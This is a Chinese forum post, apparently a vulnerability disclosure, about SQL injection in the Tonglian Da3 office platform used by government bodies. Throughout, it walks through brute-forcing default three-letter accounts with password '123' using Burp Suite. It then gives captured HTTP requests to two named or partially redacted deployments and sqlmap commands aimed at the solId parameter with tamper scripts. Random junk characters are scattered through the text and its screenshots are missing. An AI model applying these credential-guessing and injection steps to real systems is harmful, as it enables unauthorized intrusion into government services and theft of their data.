同联Da3协同办公平台前台通用sql injection漏洞

admin

2 U6 k5 C9 v x a7 c5 {$ [% Y

平台简介：

0 S' m3 \0 W; u4 B

 

, q$ x* d+ M+ k: c 北京同联信息技术有限公司（以下简称同联）由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务，以加强各级政府的精细化、智能化管理，形成高效、敏捷、便民的新型政府。”为使命，致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位，分别提供以“移动政务办公”为主的Da3系列管理软件；针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
同联本着“协作、专业、创新”的工作方针，为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献！ 4 R3 Q$ N3 l% A) G0 B

: k; x2 W0 }3 j" Z6 Y4 O   ' ^8 ^" d" X. i! ?

% _! l: u2 R3 H) |& \: ^, a9 V: b 由于此程序为新开发的程序，故能找到的案例并不多，下面附案例地址：

I ~$ d" O% O) x9 [$ X* J; j

 

http://1.1.1.1:7197/cap-aco/#（案例2-） ! `/ j6 V0 Y, U) W+ g9 o& k

& I* j- Q( N, Y! g0 n# r# U0 K/ g

http://www.XXOO.com （案例1-官网网站）

  5 x5 J9 |3 f% d( G4 j9 B; E

; w4 s+ o0 q# t

漏洞详情:

 初步确定平台的默认账号为姓名的首字母小写，初始密码为123，为了能够更好的模拟入侵，使用黑盒测试手段进行测试

; e# h. F1 s# y2 z2 m* k% q( p$ k* {

, m, u: M2 v" N6 l$ B      首先使用burpsuite代理，然后再用黑客字典生成一个全英文小写的3位字典，利用burpsuite进行暴力破解，破解结果如图： # x2 Y- H5 r; V% i( j+ N2 P g

( q. J- W' }9 X5 B  

 

5 o" T" R1 ~: J* u0 s: S* M7 g

7 r( E! t& Y' F' s6 b status为302即表示破解成功，然后找个破解成功的账号登录系统。经过长时间的手工测试发现在发文管理模块抓包，抓包的数据分别如下： . t* h* l1 W8 _9 P# O; O! g/ D

% ~7 n8 U" Y+ g$ L# `! g6 X; F

! w* A& g# N% d' @2 N$ b j- e5 j) ? 1、案例1-官方网站

+ ~% q8 T$ x8 S+ o- Z& q1 _% j GET /bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=42b0234e-d5dc-402d-9cef-1ce38cbae480&state=&title=1111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510060789826 HTTP/1.1 ! ?4 X2 y4 k( h$ c: Z

7 g. I! V, }; @$ t

- ^7 ] O& }7 {- X& w1 S7 B Host: www.XXOO.com

9 `- l* m5 d* v: y: _2 @' E

Proxy-Connection: Keep-Alive

( e. r1 }) L% n+ q& I$ ^1 d! e/ F

Accept: application/json, text/javascript, */*; q=0.01 # ~2 |) `% Q$ b: M6 _

) Z; b' |6 R6 x. e) I/ a Accept-Language: zh-CN 3 \: F, Q6 E7 f9 o) F; I

8 s7 _. m8 R1 o6 I2 i

+ G7 e* d2 @' N! M; `9 O Content-Type: application/json

+ E8 x5 ~8 F: W' h User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0; SE 2.X MetaSr 1.0) like Gecko m. ` {5 k+ L* R% f4 m# f

6 g, G) {6 c+ e8 `; L6 S

, d( W) I5 C. w6 a X-Requested-With: XMLHttpRequest

Referer: http://www.XXOO.com/bizRunContro ... 80?modCode=1008M002 5 W8 \7 |4 l9 Q a( `

S5 ?8 O. x1 ]5 k/ N

; X* D6 t; M% ~ Accept-Encoding: gzip, deflate, sdch

- x$ I0 c! f! J* J% q6 c7 C Cookie: username=chm; password=123; rememberme=1; autoSubmit=1; sid=2cf5142f-6c1e-4cbb-89d8-2ebd08438b2e

) Q: j+ t! i# b 将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为：sqlmap.py -r tl.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图: 0 k" j( r0 l0 H6 V3 u8 n7 b7 j

7 v4 T! A, ~! H# [7 c" }& Y   o+ T" U+ A% P' A# \$ `/ l4 r

 

, i8 i+ t# i+ ], y2 V  

: [. W8 a1 R, Z: a

  9 r" q* j; P9 S+ V) C

. h) Q8 w! l% A: E0 d9 B% ]/ M   ) a' {% l. E5 i

" B3 r r6 Q6 L1 u3 x- }, c. Z3 ^

) f% W6 J4 M* z 2、案例2-某天河云平台

; A& t1 {9 c/ c T, \& O# g/ _' x GET /cap-aco/bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=af056885-4ae5-4e0b-8a0d-c413a786f2db&state=&title=11111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510047738662 HTTP/1.1 1 K1 Q; V, z( O

a/ r$ p0 f, Q/ }& F( m+ s

" O$ Y, t9 r8 |- ~ Host: 1.1.1.:7197

/ ^3 o: N8 m, j' } Accept: application/json, text/javascript, */*; q=0.01 # D' B* Q: M, e$ p' c$ [

7 W$ B- x0 s% P# }) r: I

1 H4 \) h, W. a( z: t3 {9 D; u X-Requested-With: XMLHttpRequest

0 i6 }+ }% c) Z/ u8 o W

4 @% h% M w4 c3 E User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0

, \% R$ ~8 n y! x# O+ _

' S) F# I/ V6 L' r' ` Content-Type: application/json ( D% R; w/ o# y; p: k9 p+ Y

% b$ p$ O8 R; T$ k

Referer: http://1.1.1.1:7197/cap-aco/bizR ... 86f2db?modCode=1008

Accept-Language: zh-CN,zh;q=0.8 ' S1 S1 B n# ]' N+ n' f$ m( v

Cookie: autoSubmit=1; sid=4e333ec9-d194-456b-bb08-4ff64c6eb1fc; username=lxr; password=123; rememberme=1; autoSubmit=1 + ?3 w% Q, i! B& @4 e: D+ K3 w3 h

+ y3 p7 S1 D0 m- t7 m Connection: close ; A0 T, x- k! ^* J. h3 H; g, T

9 ~) d3 g W2 [

7 p$ |; w( B' J8 C6 O; y6 o3 D 将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为：sqlmap.py -r 1.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图: 5 b1 m. q! e; _. f

. O W$ I7 ^; O# Y) E

. t! i) x( m9 b Q   ) M9 j+ N# J: d3 _- J